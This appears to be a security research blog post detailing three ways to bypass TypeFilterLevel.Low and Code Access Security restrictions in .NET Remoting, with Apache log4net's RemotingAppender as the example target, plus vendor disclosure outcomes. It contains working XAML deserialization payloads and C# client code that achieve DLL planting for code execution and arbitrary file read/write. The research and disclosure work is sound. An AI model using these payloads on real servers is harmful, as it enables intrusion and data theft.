Jul 31, 2024

Teaching the Old .NET Remoting New Exploitation Tricks

This blog post provides insights into three exploitation techniques that can still be used in cases of a hardened .NET Remoting server with TypeFilterLevel.Low and Code Access Security (CAS) restrictions in place. Two of these tricks are considered novel and can help in cases where ExploitRemotingService is stuck.

Introduction

This is hopefully the last post on .NET Remoting as it has already been extensively dissected by many researchers.

Definitely worth mentioning is James Forshaw, who published the first insights and exploitable design flaws in .NET Remoting back in 2012. From then on, more and more weaknesses were made public, exploitation tools such as ExploitRemotingService and YSoSerial.Net were expanded, and there seemed to be no corner of .NET Remoting that had not already been explored.

Except for special cases that may seem rather unrealistic, but which actually occur in products and for which there is currently neither public information nor exploits.

This post is intended to change this and bring the last targets, that were previously considered unexploitable, to their knees. The final nail in the coffin for .NET Remoting.

.NET Remoting Recap

Please excuse, but we will first have to briefly go over some key technical aspects of .NET Remoting.

Client ⇄ Server

The basic .NET Remoting communication consists of the client sending a IMethodCallMessage to the server and then the server sending a IMethodReturnMessage in response. The message objects are serialized by the sender and deserialized by the receiver using the built-in runtime serializers, which support two formats, a binary format (BinaryFormatter) and a textual XML-based SOAP format (SoapFormatter).

Marshaling By Value vs. Marshaling By Reference

Transmittable object types need to be either primitive or [Serializable] and the objects are marshaled by value. The ISerializable interface provides classes the ability to customize their own serialization and deserialization methods.

.NET Remoting extends this default behavior as follows: any type extending MarshalByRefObject (not necessarily [Serializable]) can be marshaled by reference. For that, .NET Remoting uses the RemotingSurrogateSelector and RemotingSurrogate classes:

  • RemotingSurrogateSelector returns an ISerializationSurrogate depending on object type, which is the RemotingSurrogate class in case of MarshalByRefObject objects.

  • RemotingSurrogate allows substitution of object to be serialized, which is the ObjRef class in case of MarshalByRefObject objects.

So the processing of MarshalByRefObject objects in .NET Remoting is:

  • During serialization: MarshalByRefObjectObjRef

    Serializing a MarshalByRefObject results in the object being registered for remoting and an ObjRef being serialized instead.

  • During deserialization: ObjRefRemotingProxy

    Deserializing an ObjRef (regardless of .NET Remoting) results in the creation of a RemotingProxy instance where local method invocations get forwarded to the server specified in the ObjRef.

So the actual MarshalByRefObject object instance resides on the server side and the client gets only a remote control to that server-side object.

This behavior is used by the --uselease and --useobjref techniques of ExploitRemotingService. However, there are configuration cases where these will not work.

The Edge Case: Apache log4net

Yes, it’s the .NET counterpart to log4j. It provides the log4net.Appender.RemotingAppender to deliver logging events to a .NET Remoting service.

During the analysis of log4net, three problems emerged that ExploitRemotingService could not solve. These are now elaborated in more detail in the following sections.

Problem № 1: No MarshalByRefObject Server Type

The example remoting server of log4net uses the RemoteLoggingServerPlugin to create an instance of the RemoteLoggingSinkImpl and marshal it for remoting:

public override void Attach(ILoggerRepository repository)
{
	base.Attach(repository);

	// Create the sink and marshal it
	m_sink = new RemoteLoggingSinkImpl(repository);

	try
	{
		RemotingServices.Marshal(m_sink, m_sinkUri, typeof(IRemoteLoggingSink));
	}
	catch (Exception ex)
	{
		LogLog.Error(declaringType, "Failed to Marshal remoting sink", ex);
	}
}

While it is true that remotable classes need to extend MarshalByRefObject, it is possible to explicitly marshal them as a different type. This can be used to only expose a certain interface for remoting.

The check for that is implemented in StackBuilderSink.VerifyIsOkToCallMethod(object, IMethodMessage) that verifies that only methods of the registered server type can be called:

MethodBase mb = GetMethodBase(msg);
RuntimeType declaringType = (RuntimeType)mb.DeclaringType;

// make sure that srvType is not more restrictive than method base
// (i.e. someone marshaled with a specific type or interface exposed)
if ((declaringType != srvType) &&
	!declaringType.IsAssignableFrom(srvType))
{
	throw new RemotingException(
		String.Format(
			CultureInfo.CurrentCulture, Environment.GetResourceString("Remoting_InvalidCallingType"),
			mb.DeclaringType.FullName, srvType.FullName));
}

In case of log4net, RemoteLoggingSinkImpl is explicitly marshaled as the interface IRemoteLoggingSink that only has one single method with return type void:

public interface IRemoteLoggingSink
{
	void LogEvents(LoggingEvent[] events);
}

That means, none of the MarshalByRefObject methods can be called. That also means, neither --uselease nor --useobjref techniques of ExploitRemotingService can be used as both rely on calling MarshalByRefObject methods:

  • --uselease calls MarshalByRefObject.InitializeLifetimeService() to retrieve an ILease instance, on which then Register(ISponsor) is called with an ObjRef as argument, which in turn results in a RemotingProxy on the server side where method invocations on that ISponsor result in .NET Remoting calls back to the attacker.
  • --useobjref is basically identical to --uselease but takes a shortcut without the detour via MarshalByRefObject.InitializeLifetimeService() (this method may be overridden and return null) and directly calls MarshalByRefObject.CreateObjRef(Type) with an ObjRef as argument.

Although to be honest, the basic trick of calling a remote method with an ObjRef as argument value would work on server types other than MarshalByRefObject as long as the following applies:

  • the parameter type is not primitive, an array type, or of type object, and
  • a method on the passed argument (i.e., the ObjRef) is invoked.

While this works for log4net, there is another problem: it does not have an appropriate existing client channel and uses TypeFilterLevel.Low, which renders sending ObjRefs useless. More on this in the next sections.

Problem № 2: TypeFilterLevel.Low

Using TypeFilterLevel.Low on the BinaryServerFormatterSink/SoapServerFormatterSink is a measure to restrict the allowed types during .NET Remoting to those “associated with basic remoting functionality”. This is actually default when using the default server provider chains.

For that, BinaryFormatter/SoapFormatter deserialization performed during .NET Remoting is subject to additional security checks and restrictions implemented in their respecive ObjectReader.CheckSecurity(ParseRecord) method:

  • if IsRemoting == true:
    • MarshalByRefObject
    • if TypeFilterLevel.Low also:
      • DelegateSerializationHolder
      • IEnvoyInfo
      • ISponsor
      • ObjRef

James Forshaw has already demonstrated in Bypassing Low Type Filter in .NET Remoting back in 2019 that IsRemoting can be spoofed by using a custom marshaler for MethodCall during serialization, which is implemented by MethodCallWrapper in ExploitRemotingService.

But using TypeFilterLevel.Low also causes Code Access Security (CAS) permission restrictions being in effect during remoting message deserialization. Here is the implementation from BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack):

PermissionSet currentPermissionSet = null;
if (this.TypeFilterLevel != TypeFilterLevel.Full) {
	currentPermissionSet = new PermissionSet(PermissionState.None);
	currentPermissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
}

try {
	if (currentPermissionSet != null)
		currentPermissionSet.PermitOnly();

	// Deserialize Request - Stream to IMessage
	requestMsg = CoreChannel.DeserializeBinaryRequestMessage(objectUri, requestStream, _strictBinding, this.TypeFilterLevel);
}
finally {
	if (currentPermissionSet != null)
		CodeAccessPermission.RevertPermitOnly();
}

You may want to read Understanding .NET Code Access Security to get a better understanding of CAS before reading on.

In brief, with Code Access Permissions, developers can check or modify the permissions code is executed with. The effective permissions are stored in corresponding call stack frame and provide the following basic security actions on classes and methods (excerpt from ECMA-334, II.22.11):

Security Action Explanation of Behavior
Assert Without further checks, satisfy Demand for the specified permission.
Demand Check that all callers in the call chain have been granted specified permission, throw SecurityException on failure.
Deny Without further checks, refuse Demand for the specified permission.
PermitOnly Without further checks, refuse Demand for all permissions other than those specified.

Code Access Permissions can be interacted with in two ways:

  • declarative syntax (using attributes)

    [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.Infrastructure, Infrastructure = true)]
    
  • imperative syntax

    var permissionSet = new PermissionSet(PermissionState.None);
    permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
    permissionSet.PermitOnly();
    

Regarding the deserialization of .NET Remoting messages, the following restrictions apply due to TypeFilterLevel.Low:

  • any Demand other than SecurityPermissionFlag.SerializationFormatter fails
  • reflection on types:
    • non-public types fail
    • [SecurityCritical] types fail, unless called from [SecuritySafeCritical]
  • reflection on constructors and methods:
    • non-public fail
    • [SecurityCritical] fail, unless called from [SecuritySafeCritical]

For further details, Security Considerations for Reflection is a good start.

But as you can imagine, and everything that is fun requires some kind of permission: network operations, file operations, starting processes, loading assemblies, reflection, etc.

Problem № 3: No Existing Client Channels

By default, creating a .NET Remoting channel using HttpChannel, IpcChannel, or TcpChannel creates both the server channel and the client channel. But there are cases where only the former is created, i.e., HttpServerChannel, IpcServerChannel, or TpcServerChannel. This sounds reasonable for a server as it is generally not expected to also act as a client.

During deserialization of an ObjRef, there is a check for whether an appropriate client channel exists. If not, it gets created. If TypeFilterLevel.Low and hence the CAS restrictions are in place, this causes a SecurityException being thrown and request processing is aborted.

Wrapping It Up

So, you can probably imagine the worst case scenario:

  1. server object is not marshaled as MarshalByRefObject
  2. TypeFilterLevel.Low in use (default)
  3. no existing client channel sink (and due to TypeFilterLevel.Low no permission to create one)

This is exactly the case with Apache log4net’s RemotingAppender.

So let’s head back to the lab and see what we can come up with.

Teaching an Old Technology New Exploitation Tricks

With the three problems in mind, let’s see if there is some light.

When implementing these tricks, we decided to use the TextFormattingRunProperties gadget. This allows to parse any XAML code, which, with a little rethinking, offers a level of power similar to C# code. This includes creating new objects using constructors (with and without arguments), calling static methods (with and without arguments), and setting properties. Thanks to references, values can also be stored like in variables. Furthermore, ObjectDataProvider can be used to execute any method on these objects.

CAS Bypass № 1: Calling Privileged Assert Methods

As described earlier, Assert can grant code additional permissions so that a Demand is satisfied. Several methods have security attributes with SecurityAction.Assert or call Assert() on a permission or permission set. If we can call such methods, we are granted these permissions.

And, in fact, there are such methods. For instance, have a look at BuildManager.CreateCachedFile(string):

[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security", "CA2103:ReviewImperativeSecurity",
	Justification = "This is the correct Assert for the situation.")]
public static Stream ReadCachedFile(string fileName) {
	new FileIOPermission(FileIOPermissionAccess.AllAccess, HttpRuntime.CodegenDirInternal).Assert();

	// Get the path to the file in the User Cache folder
	string path = GetUserCacheFilePath(fileName);

	// If the file doesn't exist, just return null, to convey a cache miss
	if (!File.Exists(path))
		return null;

	return File.OpenRead(path);
}

With BuildManager.GetUserCacheFilePath(string) being:

[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2208:InstantiateArgumentExceptionsCorrectly",
	Justification = "Too late in the loc process to add an exception message.")]
private static string GetUserCacheFilePath(string fileName) {
	string path = Path.Combine(UserCachePath, fileName);

	// Make sure that the full path's directory is exactly the User Cache folder. This prevents creating files in any other folders
	if (Path.GetDirectoryName(path) != UserCachePath) {
		throw new ArgumentException();
	}

	return path;
}

Here UserCachePath would be within the C:\Windows\Microsoft.NET\[…]\Temporary ASP.NET Files\[…]\UserCache\ directory. While path traversal is not possible, writing a UserCache.dll or UserCache.exe already allows to gain Remote Code Execution:

<x:Array
	xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
	xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
	xmlns:System="clr-namespace:System;assembly=mscorlib"
	xmlns:System.ComponentModel="clr-namespace:System.ComponentModel;assembly=mscorlib"
	xmlns:System.Web.Compilation="clr-namespace:System.Web.Compilation;assembly=System.Web"
	Type="{x:Type System:Object}"
>

	<ObjectDataProvider x:Name="fileStream" ObjectType="{x:Type System.Web.Compilation:BuildManager}" MethodName="CreateCachedFile">
		<ObjectDataProvider.MethodParameters>
			<System:String>UserCache.dll</System:String>
		</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>

	<ObjectDataProvider ObjectInstance="{x:Reference fileStream}" MethodName="Write">
		<ObjectDataProvider.MethodParameters>
			<x:Array Type="{x:Type System:Byte}"></x:Array>
			<System:Int32>0</System:Int32>
			<System:Int32>0</System:Int32>
		</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>

	<ObjectDataProvider ObjectInstance="{x:Reference fileStream}" MethodName="Close" />

	<System:Type x:FactoryMethod="GetType">
		<x:Arguments>
			<System:String>UserCache, UserCache, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null</System:String>
		</x:Arguments>
	</System:Type>

</x:Array>

Performing this attack against an HTTP .NET Remoting service like the web application of HttpRemotingObjRefLeak results in:

Successful writing and loading of a UserCache.dll within the UserCachePath

CAS Bypass № 2: Coercing the Server to Serialize a MarshalByRefObject

If we can get the server to send back any MarshalByRefObject object of our choice, we would get an ObjRef thanks to the RemotingSurrogateSelector, which in turn would become a RemotingProxy on our side.

We can achieve this in two ways:

  1. Send a serializable MarshalByRefObject by value and get the server to send that object back.
  2. Create a MarshalByRefObject on the server side and get the server to send that object back.

The common problem is: getting the server to send the object back.

Sending a Serializable MarshalByRefObject By Value

Unfortunately, serializable MarshalByRefObject types are also rare, good ones even more so:

But how can we send the MarshalByRefObject object and coerce the server to serialize it?

Conveniently, .NET Remoting already provides a feature to send data along with a remote call: the LogicalCallContext provides a data store that can be filled by the client and is returned in the response.

So, we create a custom marshaler for SoundPlayer so that it gets serialized by value instead of by reference, store it in the DataStore of the LogicalCallContext, send a dummy method call to the server:

// send payload object by value
object payload = MarshalByValueObject.Create(new SoundPlayer());
var methodReturnMessage = Utils.InvokeMethodCall(objUrl, payload);

With InvokeMethodCall being:

public static IMethodReturnMessage InvokeMethodCall(Uri url, object logicalCallContextData)
{
	var transparentProxy = RemotingServices.Connect(typeof(MarshalByRefObject), url.ToString());
	var remotingProxy = RemotingServices.GetRealProxy(transparentProxy);

	// create method call to `Object.ToString()`
	var method = typeof(object).GetMethod("ToString", new Type[0]);
	var methodArgs = new object[0];
	var methodCall = Utils.CreateMethodCall(url, method, methodArgs);

	// call `object.ToString()` remotely with payload in the `LogicalCallContext`
	methodCall.LogicalCallContext.SetData("MBRO", logicalCallContextData);
	return (IMethodReturnMessage)remotingProxy.Invoke(methodCall);
}

Then we can obtain the SoundPlayer back from the LogicalCallContext of the received IMethodReturn (which is now a RemotingProxy to the remote SoundPlayer instance), and then call the setter of SoundLocation on it remotely:

// obtain proxy from `LogicalCallContext` of `MethodReturnMessage`
var mbro = (MarshalByRefObject)methodReturnMessage.LogicalCallContext.GetData("MBRO");

// use remote `SoundPlayer`
var remoteSoundPlayer = (SoundPlayer)mbro;
remoteSoundPlayer.SoundLocation = filePath;
remoteSoundPlayer.Play();

Perfoming this attack against Apache log4net results in the following:

Triggering the reading of C:\Windows\win.ini using a remote SoundPlayer

Creating a MarshalByRefObject On The Server Side

There is indeed a promising MarshalByRefObject class that is not [Serializable]:

  • WebClient allows reading and writing of files to absolute file system locations

But how do we coerce the server to serialize it? We cannot access the current MethodCall, cannot create a RemotingSurrogateSelector/RemoteSurrogate and cannot make a .NET Remoting call (CAS restrictions).

Well, we can use XAML to create an Exception on the server, store the created WebClient in Exception.Data, and throw that exception using ExceptionDispatchInfo.Capture(Exception):

<x:Array Type="System:Object"
	xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
	xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
	xmlns:System="clr-namespace:System;assembly=mscorlib"
	xmlns:System.Net="clr-namespace:System.Net;assembly=System"
	xmlns:System.Runtime.ExceptionServices="clr-namespace:System.Runtime.ExceptionServices;assembly=mscorlib"
>

	<!--
		MarshalByRefObject marshalByRefObject = new WebClient();
	-->
	<System.Net:WebClient x:Name="marshalByRefObject" />

	<!--
		Exception exception = new Exception();
		IDictionary exceptionData = exception.get_Data();
		exceptionData.Add("MBRO", new object[] { marshalByRefObject });
	-->
	<System:Exception x:Name="exception" />
	<ObjectDataProvider x:Name="exceptionData" ObjectInstance="{x:Reference exception}" MethodName="get_Data" />
	<ObjectDataProvider ObjectInstance="{x:Reference exceptionData}" MethodName="Add">
		<ObjectDataProvider.MethodParameters>
			<System:String>MBRO</System:String>
			<x:Array Type="System:Object">
				<x:Reference Name="marshalByRefObject" />
			</x:Array>
		</ObjectDataProvider.MethodParameters>
	</ObjectDataProvider>

	<!--
		ExceptionDispatchInfo.Capture(exception).Throw();
	-->
	<ObjectDataProvider MethodName="Throw">
		<ObjectDataProvider.ObjectInstance>
			<System.Runtime.ExceptionServices:ExceptionDispatchInfo x:Name="exceptionDispatchInfo" x:FactoryMethod="Capture">
				<x:Arguments>
					<x:Reference Name="exception" />
				</x:Arguments>
			</System.Runtime.ExceptionServices:ExceptionDispatchInfo>
		</ObjectDataProvider.ObjectInstance>
	</ObjectDataProvider>

</x:Array>

(Side note: Exception.Data is a ListDictionaryInternal that requires the keys and values being serializable. Unfortunately, WebClient is not serializable. But wrapping the non-serializable WebClient in a serializable Object[] works fine.)

Then we obtain it on the client side back from IMethodReturn.Exception (which is now a RemotingProxy to the remote WebClient), and can then call any method on it remotely:

// obtain proxy from `Exception.Data`
var exception = methodReturnMessage.Exception;
while (exception.InnerException != null)
	exception = exception.InnerException;
var mbro = (MarshalByRefObject)((object[])exception.Data["MBRO"])[0];

// use remote `WebClient`
var remoteWebClient = (WebClient)mbro;
Console.WriteLine(remoteWebClient.DownloadString(fileUri));

With this attack, reading (and also writing) of arbitrary files on the server is possible:

Reading the C:\Windows\win.ini using a remote WebClient

What Happened to the Three Problems?

Let’s see how we “solved” the three problems:

  1. No MarshalByRefObject Server Type

    The new tricks do not require calling an actual method remotely as everything happens during deserialization.

  2. TypeFilterLevel.Low In Effect

    Even though CAS restrictions are in effect, the capabilities during deserialization are enough to create MarshalByRefObject objects such as a WebClient.

  3. No Existing Client Channels

    The new tricks do not require a client channel and no other out-of-band channel, only the existing server channel.

Vendors’ Reactions

Microsoft

We have reported both issues to Microsoft back in March 2024. Both do “not meet MSRC’s bar for immediate servicing”, either because it “[requires] exposing a remoting endpoint to untrusted clients” or because “CAS has been deprecated”.

Apache log4net

The log4net team has decided to remove RemotingAppender support; changes are already available in the rc/3.0.0-preview.2 release. Version 3.0.0 is scheduled for release in September 2024, changes are visible in the Feature/111-Dropping-support-for-older-runtimes branch.

Conclusion

Looking back, .NET Remoting has not aged well. And even 12 years after the first vulnerabilities in this technology were discovered, there are still new discoveries regarding the exploitation of this technology.

But this is also proof that even technologies that seem to have been “already extensively studied by almost everyone” still contain hidden aspects that have apparently not yet been made public. And that it is worth getting to grips with a technology to the point where you know it inside and out. True to the motto: see one, do one, teach one.

It is often precisely this final step, teaching, that uncovers remaining gaps in knowledge and filling them leads to new insights, which in turn reveal new paths.

You can find the source code in our GitHub repository NewRemotingTricks.